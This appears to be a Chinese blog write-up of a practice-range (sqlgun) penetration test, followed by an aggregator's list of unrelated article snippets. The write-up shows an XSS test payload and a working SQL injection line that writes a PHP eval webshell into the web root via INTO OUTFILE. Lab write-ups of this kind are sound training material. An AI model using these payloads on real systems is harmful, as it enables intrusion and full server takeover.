sqlgun靶场漏洞挖掘
1.xss漏洞
搜索框输入以下代码，验证是否存在xss漏洞
<script>alert(1)</script>
OK了，存在xss漏洞
2.SQL注入
经过测试，输入框存在SQL注入漏洞
查询数据库名
查询管理员账号密码
此处密码为MD5加密，解码内容如下
找了半天，没有找到管理员登录界面，所以找到管理员账号和密码没有用，虽然没有，但是证明了一点，那就是此处可以无限制输入命令，并执行，通过扫描目录发现存在phpinfo文件，访问得知网站绝对路径
于是乎，尝试使用sql注入的方式，上传一句话木马
-1' union select 1,"<?php @eval($_POST[cmd]);?>",3 into outfile '/var/www/html/www.php' #
根据设定的地址访问上传的文件
写入成功，蚁剑连接大脑，cmd代替思考
完事🧐
相关文章：
sqlgun靶场漏洞挖掘
1.xss漏洞 搜索框输入以下代码，验证是否存在xss漏洞 <script>alert(1)</script> OK了，存在xss漏洞 2.SQL注入 经过测试，输入框存在SQL注入漏洞 查询数据库名 查询管理员账号密码 此处密码为MD5加密，解码内容如下 找…...
好用的 Markdown 编辑器组件
ByteMD bytedance/bytemd: ByteMD v1 repository (github.com) 这里由于我的项目是 Next，所以安装 bytemd/react， 阅读官方文档，执行命令来安装编辑器主体、以及 gfm（表格支持）插件、highlight 代码高亮插件…...
uniapp vite3 require导入commonJS 的js文件方法
vite3 导入commonJS 方式导出 在Vite 3中，你可以通过配置vite.config.js来实现导入CommonJS（CJS）风格的模块。Vite 默认支持ES模块导入，但如果你需要导入CJS模块，可以使用特定的插件，比如originjs/vite-pl…...
通义灵码用户说：“人工编写测试用例需要数十分钟，通义灵码以毫秒级的速度生成测试代码，且准确率和覆盖率都令人满意”
通过一篇文章，详细跟大家分享一下我在使用通义灵码过程中的感受。 一、定义 通义灵码，是一个智能编码助手，它基于通义大模型，提供代码智能生成、研发智能问答能力。 在体验过程中有任何问题均可点击下面的连接前往了解和学习。 …...
MySQL中的约束
约束概述 1.1 为什么需要约束 数据完整性（Data Integrity）是指数据的精确性（Accuracy）和可靠性（Reliability）。它是防止数据库中存在不符合语义规定的数据和防止因错误信息的输入输出造成无效操作或错误信…...
Leetcode 寻找重复数
可以使用 位运算 来解决这道题目。使用位运算的一个核心思想是基于数字的二进制表示，统计每一位上 1 的出现次数，并与期望的出现次数做比较。通过这种方法，可以推断出哪个数字重复。 class Solution { public:int findDuplicate(vector<i…...
大一新生以此篇开启你的算法之路
各位大一计算机萌新们，你们好，本篇博客会带领大家进行算法入门，给各位大一萌新答疑解惑。博客文章略长，可根据自己的需要观看，在博客中会有给大一萌新问题的解答，请不要错过。 入门简介： 算法…...
【AI大模型】ChatGPT模型原理介绍（上）
目录 🍔 什么是ChatGPT？ 🍔 GPT-1介绍 2.1 GPT-1模型架构 2.2 GPT-1训练过程 2.2.1 无监督的预训练语言模型 2.2.2 有监督的下游任务fine-tunning 2.2.3 整体训练过程架构图 2.3 GPT-1数据集 2.4 GPT-1模型的特点 2.5 GPT-1模型总结…...
基于UE5和ROS2的激光雷达+深度RGBD相机小车的仿真指南(五)：Blender锥桶建模
前言 本系列教程旨在使用UE5配置一个具备激光雷达深度摄像机的仿真小车，并使用通过跨平台的方式进行ROS2和UE5仿真的通讯，达到小车自主导航的目的。本教程默认有ROS2导航及其gazebo仿真相关方面基础，Nav2相关的学习教程可以参考本人的其他博…...
C++竞赛初阶L1-15-第六单元-多维数组(34~35课)557: T456507 图像旋转
题目内容 输入一个 n 行 m 列的黑白图像，将它顺时针旋转 90 度后输出。 输入格式 第一行包含两个整数 n 和 m，表示图像包含像素点的行数和列数。1≤n≤100，1≤m≤100。 接下来 n 行，每行 m 个整数，表示图像的每个像…...
无线领夹麦克风哪个牌子好？西圣、罗德、猛犸领夹麦克风深度评测
如今短视频和直播行业蓬勃发展，无线领夹麦克风成为了许多创作者不可或缺的工具。然而，市场上的无线领夹麦克风品牌众多、质量参差不齐，为了帮助大家挑选到满意的产品，我作为数码测评博主，对无线领夹麦克风市场进行了…...
React Native 0.76，New Architecture 将成为默认模式，全新的 RN 来了
关于 React Native 的 New Architecture 概念，最早应该是从 2018 年 RN 团队决定重写大量底层实现开始，因为那时候 React Native 面临各种结构问题和性能瓶颈，最终迫使 RN 团队开始进行重构。 而从 React Native 0.68 开始，New A…...
Java并发：互斥锁，读写锁，Condition，StampedLock
3，Lock与Condition 3.1，互斥锁 3.1.1，可重入锁 锁的可重入性（Reentrant Locking）是指在同一个线程中，已经获取锁的线程可以再次获取该锁而不会导致死锁。这种特性允许线程在持有锁的情况下，可…...
客户端负载均衡Ribbon实例
文章目录 一，概述二，实现过程三，项目源码1. 源码放送：2. 部署方式 四，功能演示五，其他 一，概述 一般来说，提到负载均衡，大家一般很容易想到浏览器 -> NGINX -> 反…...
MySQL数据库负载均衡
数据库负载均衡是通过将数据库请求分散到多个数据库服务器上，以提高数据库的处理能力和可用性。在高并发的场景下，使用数据库负载均衡器可以有效避免单点故障，提高系统的整体性能和可靠性。 数据库负载均衡器 数据库负载均衡器可以是硬件设…...
达梦CASE_SENSITIVE参数解析
1. 参数含义 标识符大小写敏感，默认值为 Y。 当大小写敏感时，小写的标识符应用双引号括起，否则被转换为大写；当大小写不敏感时，系统不自动转换标识符的大小写，在标识符比较时也不区分大小写。 CASE_SENS…...
酒店智能轻触开关工作原理
在现代化酒店中，智能轻触开关已成为提升宾客居住体验的重要设备之一。这些开关不仅操作便捷，而且功能丰富，能够实现对灯光、窗帘、空调等设备的精准控制。本文将深入探讨酒店智能轻触开关的工作原理。 一、智能轻触开关的基本概念 智能轻触开…...
web基础之RCE
简介：RCE称为远程代码执行漏洞；是互联网的一种安全漏洞；攻击者可以直接向后台服务器远程注入操作系统命令；从而操控后台系统；也是CTF比较常考的一个方面 1、eval执行 （1）分析后端代码…...
c语言--水仙花数，求Sn的前五项和
用C语言实现输出水仙花数 什么是“水仙花数”？ 所谓“水仙花数”是指一个n位数，其各位数字n次方之和等于该数本身。 例如：1531 ^3 5 ^3 3 ^3 如何求解水仙花数？ 思路： 步骤1：先计算出数i的位数&#x…...
SpringBoot教程（二十八） | SpringBoot集成Elasticsearch（Java High Level Rest Client方式）
SpringBoot教程（二十八） | SpringBoot集成Elasticsearch（Java High Level Rest Client方式） 前言添加maven依赖yml配置ElasticsearchConfig 连接配置类EsUtil 工具类开始测试 前言 由ES官方提供，代码语法和DSL语法相似…...
XML Group端口详解
在XML数据映射过程中，经常需要对数据进行分组聚合操作。例如，当处理包含多个物料明细的XML文件时，可能需要将相同物料号的明细归为一组，或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码，增加了开…...
聊聊 Pulsar：Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台，以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中，Producer（生产者） 是连接客户端应用与消息队列的第一步。生产者…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
uniapp微信小程序视频实时流+pc端预览方案
方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度WebSocket图片帧定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐RTMP推流TRTC/即构SDK推流❌ 付费方案 （部分有免费额度&#x…...
关于 WASM：1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么？ WebAssembly（WASM） 是一种能在现代浏览器中高效运行的二进制指令格式，它不是传统的编程语言，而是一种 低级字节码格式，可由高级语言（如 C、C、Rust&am…...
)
Angular微前端架构：Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例，其中使用的是 Module Federation 和 npx-build-plus 实现了主应用（Shell）与子应用（Remote）的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
虚拟电厂发展三大趋势：市场化、技术主导、车网互联
市场化：从政策驱动到多元盈利 政策全面赋能 2025年4月，国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》，首次明确虚拟电厂为“独立市场主体”，提出硬性目标：2027年全国调节能力≥2000万千瓦࿰…...
2025年渗透测试面试题总结-腾讯[实习]科恩实验室-安全工程师（题目+回答）
安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。 目录 腾讯[实习]科恩实验室-安全工程师 一、网络与协议 1. TCP三次握手 2. SYN扫描原理 3. HTTPS证书机制 二…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型（Primitive） 和 对象类型（Object） 两大类，共 8 种（ES11）： 一、原始类型（7种） 1. undefined 定…...
接口自动化测试：HttpRunner基础
相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南 使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具，支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议，涵盖接口测试、性能测试、数字体验监测等测试类型…...